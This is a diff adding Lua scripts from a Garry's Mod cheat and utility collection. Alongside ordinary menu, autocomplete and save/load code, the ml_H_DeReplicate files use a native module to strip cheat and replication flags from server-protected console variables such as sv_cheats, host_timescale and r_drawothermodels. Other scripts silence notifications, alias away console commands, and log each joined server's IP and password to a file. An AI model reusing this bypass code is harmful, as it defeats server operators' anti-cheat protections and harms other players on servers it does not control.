then break end + if tblS then + tblS = tblS[string.sub(lastStr,lastn,n-1)] + if not tblS then + tblS = {} + lastn = string.len(lastStr) + break + end + else + tblS = _G[string.sub(lastStr,lastn,n-1)] + end + lastn = n+1 + end + match = FindInEnvironment(tblS or {},string.sub(lastStr,lastn)) + local lastStr = string.sub(lastStr,1,string.len(lastStr) - (string.find(string.reverse(lastStr),"%.")-1)) + for k, v in pairs(match) do + match[k] = lastStr..v + end + else + match = FindInEnvironment(_G,lastStr) + end + if table.getn(match) != 0 then + local firstStr = string.sub(str,1,string.len(table.concat(tbl," "))+1) --just added trimleft thingy, test to do + for k, v in pairs(match) do + match[k] = "lua_run_menu"..firstStr..v + end + table.insert(match,"") + return match + end + end + return {} +end + + +local LastArgs = "" +concommand.Add("lua_run_menu",function (objPl,strCmd,tblArgs) + local str = "" + if string.len(LastArgs) > 1 then + str = string.sub(LastArgs,2) --Get rid of the space at the beginning + else + str = table.concat(tblArgs," ") + end + RunString(str) +end,function (strCmd,strArgs) + LastArgs = strArgs + return ParseRunToAutoComplete(strArgs) +end) + + + + +local function ParseOpenscriptToAutoComplete(strCmd,strArgs) + local s = (strArgs or ""):Trim() + if s == "" then return end + local path = "" + if s:find("/") then + path = s:gsub("/[^/]+$","").."/" + end + local files = {} + for _,v in pairs(file.FindInLua(s.."*")) do + if not (v == "." or v == "..") and (v:find("%.lua") or not v:find("%.")) then + local file = (path..v):gsub("[/\\]+","/") + table.insert(files,strCmd.." "..file) + end + end + table.insert(files,"") + return files +end + + +concommand.Add("lua_openscript_menu",function (objPl,strCmd,tblArgs) + include(table.concat(tblArgs," ")) +end,function (strCmd,strArgs) + return ParseOpenscriptToAutoComplete(strCmd,strArgs) +end) + + + + +local function FindInTable(tab,what,parents,depth) + depth = depth or 0 + parents = parents or "" + + if (depth > 3) then return end + depth = depth + 1 + + for k,v in pairs(tab) do + if type(k) == "string" then + if (k and k:lower():find( what:lower() ) ) then + print("\t", parents, k, " - (", type(v), " - ", v, ")") + end + + if (type(v) == "table" and + k != "_R" and + k != "_E" and + k != "_G" and + k != "_M" and + k != "_LOADED" and + k != "__index") then + + FindInTable(v, what, parents..k..".", depth) + end + end + end +end + + +local function Find(ply,cmd,args) + if not args[1] then return end + local What = args[1] + print("Finding '"..What.."' CLIENTSIDE:\n") + FindInTable(_G, What) + FindInTable(_R, What) + print("\n") +end +concommand.Add("lua_find_ml",Find) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua new file mode 100644 index 0000000..d22c827 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua @@ -0,0 +1,127 @@ + + + +if not hexcv then + require("hexcv") +end + + +local CVars = { + ["sv_cheats"] = {"0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT }, + ["host_timescale"] = {"1.0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT }, + ["r_drawparticles"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT }, + ["r_drawothermodels"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT }, + ["mat_fullbright"] = {"0", FCVAR_CHEAT }, + +} + + +for k,v in pairs(CVars) do + if ( ConVarExists(k) and not ConVarExists("hex_"..k) ) then + local value = v[1] + local flags = v[2] + + hex.ReplicateConVar(k, "hex_"..k, flags, value) + CreateConVar(k, value, flags) + + print("! done: ", "hex_"..k, value, flags) + end +end + + + + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone!") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone!") return 1 end + hexcv.IsFlagSet = function() print("[HeX] gm_hexcv.dll gone!") return false end + end +end + + +local TotalCVars = 0 + +local BypassCVars = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["host_framerate"] = FCVAR_CHEAT, +} +local AlwaysBypass = { + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, + ["r_drawothermodels"] = FCVAR_CHEAT, + ["thirdperson"] = FCVAR_CHEAT, + ["firstperson"] = FCVAR_CHEAT, + ["snd_show"] = FCVAR_CHEAT, + ["showtriggers"] = FCVAR_CHEAT, + ["showtriggers_toggle"] = FCVAR_CHEAT, + ["mat_crosshair"] = FCVAR_CHEAT, + ["fog_override"] = FCVAR_CHEAT, +} + + +local function StripCVar(cvar) + hexcv.SetFlags(cvar, FCVAR_NONE) +end + +local function MsgDeReplicate(cvar,flags) + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return false + end + + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + elseif CVarToString[flags] then + flags = CVarToString[flags] + else + flags = tostring(flags) + end + + COLCON( RED, "Bypass:", WHITE, " Stripped ", BROWN, flags, WHITE, " on ", GREEN, cvar ) + return true +end + + +local function ManuallyDeReplicate(ply,cmd,args) + if (#args > 0) then + local CVar = v + StripCVar(CVar) + MsgDeReplicate(CVar, FCVAR_CHEAT) + end + + + TotalCVars = 0 + for k,v in pairs(BypassCVars) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " more CVars\n" ) + --Msg("\n") +end +concommand.Add("hex_dereplicate", ManuallyDeReplicate) + + +local function AlwaysDeReplicate() --always bypass + TotalCVars = 0 + for k,v in pairs(AlwaysBypass) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass:", WHITE, " Stripped ", GREEN, TotalCVars, WHITE, " CVars\n" ) + --Msg("\n") +end +--timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua new file mode 100644 index 0000000..cad3d16 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua @@ -0,0 +1,93 @@ + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone! (SetFlags)") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone! (GetFlags)") return 1 end + hexcv.IsFlagSet = function() print("[HeX] gm_hexcv.dll gone! (IsFlagSet)") return false end + end +end + +local RED = Color(237,16,29) +local WHITE = Color(255,255,255) +local GREEN = Color(182,231,18) +local PINK = Color(255,175,202) +local BROWN = Color(128,128,0) + +local TotalCVars = 0 + +local BypassCVars = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["host_framerate"] = FCVAR_CHEAT, +} +local AlwaysBypass = { + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, + ["r_drawothermodels"] = FCVAR_CHEAT, + ["thirdperson"] = FCVAR_CHEAT, + ["firstperson"] = FCVAR_CHEAT, + ["snd_show"] = FCVAR_CHEAT, + ["showtriggers"] = FCVAR_CHEAT, + ["showtriggers_toggle"] = FCVAR_CHEAT, + ["mat_crosshair"] = FCVAR_CHEAT, + ["fog_override"] = FCVAR_CHEAT, +} + + +local function StripCVar(cvar) + hexcv.SetFlags(cvar, FCVAR_NONE) +end + +local function MsgDeReplicate(cvar,flags) + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return false + end + + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + --[[elseif CVarToString[flags] then + flags = CVarToString[flags]]] + else + flags = tostring(flags) + end + + COLCON( RED, "Bypass:", WHITE, " Stripped ", BROWN, flags, WHITE, " on ", GREEN, cvar ) + return true +end + + +local function ManuallyDeReplicate() + TotalCVars = 0 + for k,v in pairs(BypassCVars) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " more CVars\n" ) + --Msg("\n") +end +concommand.Add("hex_dereplicate", ManuallyDeReplicate) + + +local function AlwaysDeReplicate() --always bypass + TotalCVars = 0 + for k,v in pairs(AlwaysBypass) do + TotalCVars = TotalCVars + 1 + StripCVar(k) + MsgDeReplicate(k, v) + end + COLCON( RED, "Bypass:", WHITE, " Stripped ", GREEN, TotalCVars, WHITE, " CVars\n" ) + --Msg("\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua new file mode 100644 index 0000000..9f5d74d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua @@ -0,0 +1,79 @@ + +timer.Simple(0.1, function() + require("connect") +end) + +local CustomMsg = false +local NewMsg = "" +local Done = false + + +local QuitTAB = { + "A good attempt at something impossible", + "One-Man Cheeseburger Apocalypse", + "The old trick, eh?", + "Not the ducks again!", + "Swallowed a fucking bee", + "Cock'n'Balls Ice Cream Co", + "Based on a real-life cube", + "They stay crunchy even in milk! ^_^", + "Toilet Connection Pipeline/International Plumbing", + "Toilet Elementary Lid-down Network", + "A revolution in duck design", + "His head was all over the wall", + "just a dick measuring contest", + "Their world is in flames and we're giving them gasoline!", + "Buggrit, millenium hand and shrimp", + "Couldn't take it anymore", + "Pissed in the sandbox", + "Accidentally the whole disconnect", + "Had it with these F'in snakes", + "Revenge of the Propane", + "Speak for yourself, Captain balls", + "Failure is always an option", + "Being led by an idiot with a crayon", + "Shit for brains, sit on my interface", + "Put a shark in it", + "Like shooting fish in a helihopter", + "Oh, Put a Cork in It!", +} + + +local OnlyTAB = { + ["Disconnect by user."] = true, + ["NetChannel removed."] = true, +} +local function HeXDisconnect(msg) + if not OnlyTAB[ msg ] then return end + if Done then return end --Called twice?! + + Done = true + timer.Simple(1, function() Done = false end) --Quicker than another hook + extras + + local RandomMessage = table.Random(QuitTAB) + if NewMsg != "" then + RandomMessage = NewMsg + end + + COLCON(GREEN,"[", BLUE,"HeX", GREEN,"]", CMIColor," Disconnect: ", RED, RandomMessage) + return RandomMessage +end +hook.Add("DisconnectMsg", "HeXDisconnect", HeXDisconnect) + + +local function HeXQuit(ply,cmd,args) + if (#args > 0) then + NewMsg = table.concat(args," ") + end + + timer.Simple(1, RunConsoleCommand, "disconnect") +end +concommand.Add("hex_quit", HeXQuit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua new file mode 100644 index 0000000..c88ede1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua @@ -0,0 +1,17 @@ + + + +local DSCommands = { + "__dsr", + "__dsp", + "__dse", +} + +local function FuckDS() + for k,v in pairs(DSCommands) do + HeXLRCL("alias "..cmd.." echo 'Datastream: "..cmd.."' blocked!") + end +end +concommand.Add("hex_fuckds", FuckDS) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua new file mode 100644 index 0000000..3ffddd4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua @@ -0,0 +1 @@ + local NoWay = { "playvideo_exitcommand", --"gameui_preventescape", "con_enable", --"condump", } for k,v in pairs(NoWay) do HeXLRCL('alias "'..v..'" "echo [HeX] '..v..'"') end timer.Simple(0, function() print("[HeX] Alias'd "..#NoWay.." commands!") end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua new file mode 100644 index 0000000..e04b2de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua @@ -0,0 +1,26 @@ +require( "markup" ) +include( "includes/extensions/global_cl.lua" ) + +local texGradient = surface.GetTextureID( "gui/gradient" ) + +surface.CreateFont( "coolvetica", ScreenScale( 10 ), 500, true, false, "gmod_version" ) + +local UpdateLabel = vgui.Create( "DPanel" ) + +local UpdateText = markup.Parse( "garry's mod update " .. VERSION ) +UpdateLabel:SetSize( UpdateText:GetWidth() * 1.5, UpdateText:GetHeight() + 2 ) + +function UpdateLabel:Paint() + surface.SetDrawColor( 0, 0, 0, 100 ) + surface.SetTexture( texGradient ) + surface.DrawTexturedRect( 0, 0, self:GetWide(), self:GetTall() ) + + draw.SimpleText( string.format( "garry's mod update %s", VERSION ), "gmod_version", 9, 1, Color( 150, 150, 150, 255 ) ) + UpdateText:Draw( 8, 0 ) +end + +function UpdateLabel:OnMouseReleased( mc ) + if mc == MOUSE_LEFT then + gui.OpenURL( "http://store.steampowered.com/news/?appids=4000" ) + end +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua new file mode 100644 index 0000000..1512055 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua @@ -0,0 +1,63 @@ + + +local Enabled = CreateClientConVar("srvlog_enabled", 1, true, false) + + +local function SRVLogLog() + local LogTable = {} + local LogStr = "" + + local LogFile = Format("SRVLog/%s.txt", os.date("%d-%m-%Y_%A")) + local ServerFullDate = os.date("%d-%m-%y %I:%M%p") + local Players = Format("%s/%s", table.maxn( player.GetAll() ), client.GetMaxPlayers()) + + local ServerPW = GetConVarString("sv_password") + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = "none" + end + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring(client.GetIP() or ServerIP) + end + + LogTable = { + Format("[%s]\n", ServerFullDate ), + Format("Name: %s\n", GetHostName() ), + Format("GM: %s\n", GAMEMODE.Name ), + Format("IP: %s\n", ServerIP ), + Format("Pass: %s\n", ServerPW ), + Format("Players: %s\n", Players ), + Format("Map: %s\n", client.GetMapName() ), + Format("SVC: %s\n", GetConVarString("sv_cheats") ), + "\n", + } + for k,v in ipairs(LogTable) do + LogStr = LogStr..v + end + + if not file.Exists(LogFile) then + file.Write(LogFile, Format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + file.Append(LogFile, LogStr) + Msg("\nSRVLogged:\n\n"..LogStr) +end +concommand.Add("srvlog_logserver", SRVLogLog) + + +local function SRVLogInit() + timer.Simple(6, function() + if client.IsInGame() and (#player.GetHumans() > 1) and Enabled:GetBool() and not client.IsDedicatedServer() then + SRVLogLog() + end + end) +end +hook.Add("OnLoadingStopped", "SRVLog", SRVLogInit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua new file mode 100644 index 0000000..c5d0b5a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua @@ -0,0 +1,42 @@ + +local function Useless() end + +local GAN = notification.AddLegacy + +notification.AddProgress = Useless +notification.AddLegacy = Useless +--[[ +notification.Kill = Useless +notification.Die = Useless +notification.UpdateNotice = Useless +notification.Update = Useless +]] + +if not IsKida then return end +if not IsMainGMod then return end + +local addons = file.FindDir( "addons/*", true ) +local path, properties, current, latest, name +timer.Simple(0, function() + for _, addon in ipairs( addons ) do + path = "addons/" .. addon .. "/.svn/entries" + if ( file.Exists( path, true ) ) then + properties = string.Explode( "\n", file.Read( path, true ) ) + current = tonumber( properties[4] ) + + http.Get( "http://83.84.23.31/dev/get.php?url=" .. properties[5], "", function( contents ) + latest = tonumber( string.match( contents, "Revision ([0-9]+)" ) ) + + if ( current and latest and current < latest ) then + name = KeyValuesToTable( file.Read( "addons/" .. addon .. "/info.txt", true ) )["name"] + + GAN("SVN Update for: "..( name or addon ), NOTIFY_UNDO, 10) + print("[HeX] SVN Update for: ", (name or addon)) + end + end ) + end + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua new file mode 100644 index 0000000..c10b582 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua @@ -0,0 +1,105 @@ +--[[ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 +]] + +local PANEL = {} + +function PANEL:Init() + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + self:SetTitle("Start New Game") + self:CreateControls() +end + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + --local + MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + --local + ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/wrench" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + +function PANEL:ReloadMaps() + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() +end + +function PANEL:PerformLayout() + --self:SetSize( 735, ScrH() * 0.8 ) --new + --self:SetSize( 450, ScrH() * 0.8 ) --old + self:SetSize( 570, ScrH() * 0.8 ) --hex + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) +end + +function PANEL:RebuildFavourites() + self.MapIcons:RebuildFavourites() +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + end +end +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + if ( !IsValid(SinglePlayerMenu) ) then return end + SinglePlayerMenu:ReloadMaps() +end + +function OnMapSelected( name ) + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua new file mode 100644 index 0000000..e5357de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua @@ -0,0 +1,48 @@ + +require("stringtables") + + +hook.Add("InstallStringTableCallback", "InstallCallback", function(name) + --print("InstallStringTableCallback", name) + + if name == "GModGameInfo" then + return true + end +end) + + + +--[[ +InstallStringTableCallback GModGameInfo +OnStringTableChanged GModGameInfo 18 1 0 scriptenf +OnStringTableChanged GModGameInfo 18 2 1 loading_url +]] + + +hook.Add("OnStringTableChanged", "OnTableChanged", function(tab,num,str) + if str != "scriptenf" then return end + --[[ + print("! Changed: ", tab:GetName(), tab:GetTableID(), tab:GetNumStrings(), num, str) + + print( tab:DumpInfo() ) + print( tab:FindStringIndex("scriptenf") ) + + tab:SetString(0, "scriptenf") + tab:SetString(1, "scriptenf") + ]] + + + + print("! off") +end) + +concommand.Add("lol", function() + +StringTable("GModGameInfo"):SetString(0, "scriptenf") + +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua new file mode 100644 index 0000000..fc363c8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua @@ -0,0 +1,7 @@ +function playerRespawn( player ) + playerName = player.GetName( player ); + Msg( " " .. playerName .. " has respawned. " ); +end + +hook.Add( "PlayerSpawn", "playerRespawnTest", playerRespawn ); + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua new file mode 100644 index 0000000..2669c93 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua @@ -0,0 +1,17 @@ + +HeX = NULL + +timer.Simple(1, function() + if (SERVER) then + for _,ply in pairs(player.GetAll()) do + if (ply:Nick() == "-=[UH]=- HeX") then + HeX = ply + break + end + end + end + + if (CLIENT) then + HeX = LocalPlayer() + end +end) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua new file mode 100644 index 0000000..babb736 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua @@ -0,0 +1,45 @@ + +if SERVER then + concommand.Add("savebarrels", function() + local tab = {} + + for k,v in pairs(ents.FindByClass("prop_dynamic")) do + table.insert(tab, v:GetPos()) + if v:IsValid() then + v:Remove() + end + end + + file.Write("barrels.txt", glon.encode(tab)) + end) + + + + concommand.Add("loadbarrels", function(ply,cmd,args) + local tab = glon.decode(file.Read("barrels.txt")) or {} + + for k,v in pairs(tab) do + local ent = ents.Create("prop_physics") + ent:SetPos(v) + ent:SetModel("models/props_c17/oildrum001_explosive.mdl") + ent:Spawn() + + if #args > 0 then + local phys = ent:GetPhysicsObject() + if phys:IsValid() then + phys:EnableMotion(false) + phys:Sleep() + end + end + end + end) + +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua new file mode 100644 index 0000000..8d43811 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua @@ -0,0 +1,9 @@ + + + +function CleanUpSV() + game.CleanUpMap() +end +concommand.Add("sv_cleanup", CleanUpSV) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua new file mode 100644 index 0000000..417529e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua @@ -0,0 +1,84 @@ +if CLIENT then return end + +--use for medkits etc? resspawning? +-- v.IsAutoSpawn = true + +local HeXLRCL = HeXLRCL or function(str) LocalPlayer():ConCommand(str) end +local SavePath = "HeXSave" +--local CurMap = game.GetMap():lower() + +concommand.Add("ls_save", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + local SaveName = args[1] or "temp" + --SaveName = CurMap.."_"..SaveName + + if (SaveName == "temp") and #file.Find(SavePath.."/temp.txt") > 0 then + file.Delete(SavePath.."/temp.txt") + end + if #file.Find(SavePath.."/"..SaveName..".txt") > 0 then + --file.Delete(SavePath.."/"..SaveName..".txt") + --file.Rename(SavePath.."/"..SaveName..".txt", SavePath.."/"..SaveName.."_2.txt") + SaveName = SaveName.."_2" + end + + file.Write( SavePath.."/"..SaveName..".txt", gmsave.SaveMap(ply) ) + + if (SaveName == "temp") then + MsgN("[HeX] 200 Saved: Temp file") + else + MsgN("[HeX] 200 Saved: ", SaveName) + end +end) + +concommand.Add("ls_load", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + local LoadName = args[1] or "temp" + + if #file.Find(SavePath.."/"..LoadName..".txt") > 0 then + gmsave.LoadMap( file.Read(SavePath.."/"..LoadName..".txt"), ply ) + MsgN("[HeX] 200 loaded: ", LoadName) + return + else + if (LoadName == "temp") then + MsgN("[HeX] 404 Can't load: Temp file") + else + MsgN("[HeX] 404 Can't load: ", LoadName) + end + return + end +end) + +concommand.Add("ls_list", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + + MsgN("Saved Files:") + MsgN("===================") + if #file.Find(SavePath.."/*.txt") > 0 then + local Entry + for k,v in pairs(file.Find(SavePath.."/*.txt")) do + Entry = v:gsub(".txt", "") --returns "1" at the end otherwise. + MsgN(" ", Entry) + end + else + MsgN("404 No files") + end + MsgN("===================") + MsgN("[HeX] 200 OK!") +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua new file mode 100644 index 0000000..b529647 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua @@ -0,0 +1,22 @@ +--[[if !console then require("console") end + +local EntityColor = Color( 151, 211, 255 ) + +function console.AddText( ... ) + + local color = Color( 255, 255, 255 ) + + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.Print( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.Print( EntityColor, v:GetClass() ) + else + console.Print( color, tostring(v) ) + end + end + + console.Print( color, "\n" ) +end]] diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua new file mode 100644 index 0000000..48edfe7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua @@ -0,0 +1,197 @@ + +require("concommand") +require("cvars") + +include("includes/compat.lua") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + +require("extras") +if not replicator then + require("replicator") +end + +IsMainGMod = file.Exists("MAIN.lua",true) +IsKida = file.Exists("KIDA.lua",true) + +local function Fuck() debug.Trace(2) end + +if not console then + fuckup = true + console = { + PrintColor = Fuck, + IsVisible = Fuck, + Clear = Fuck, + Hide = Fuck, + Popup = Fuck, + ServerCommand = Fuck, + Command = Fuck, + UnrestrictedCommand = Fuck, + } +end + +if not client then + fuckup = true + client = { + GetVideoModes = Fuck, + Time = Fuck, + GetPlayerName = Fuck, + GetPlayerLogo = Fuck, + GetAllPlayers = Fuck, + GetPlayerIndex = Fuck, + GetPlayerSteamID = Fuck, + GetFriendID = Fuck, + LocalPlayerUserID = Fuck, + IsFakePlayer = Fuck, + IsPlayerMuted = Fuck, + SetPlayerMuted = Fuck, + 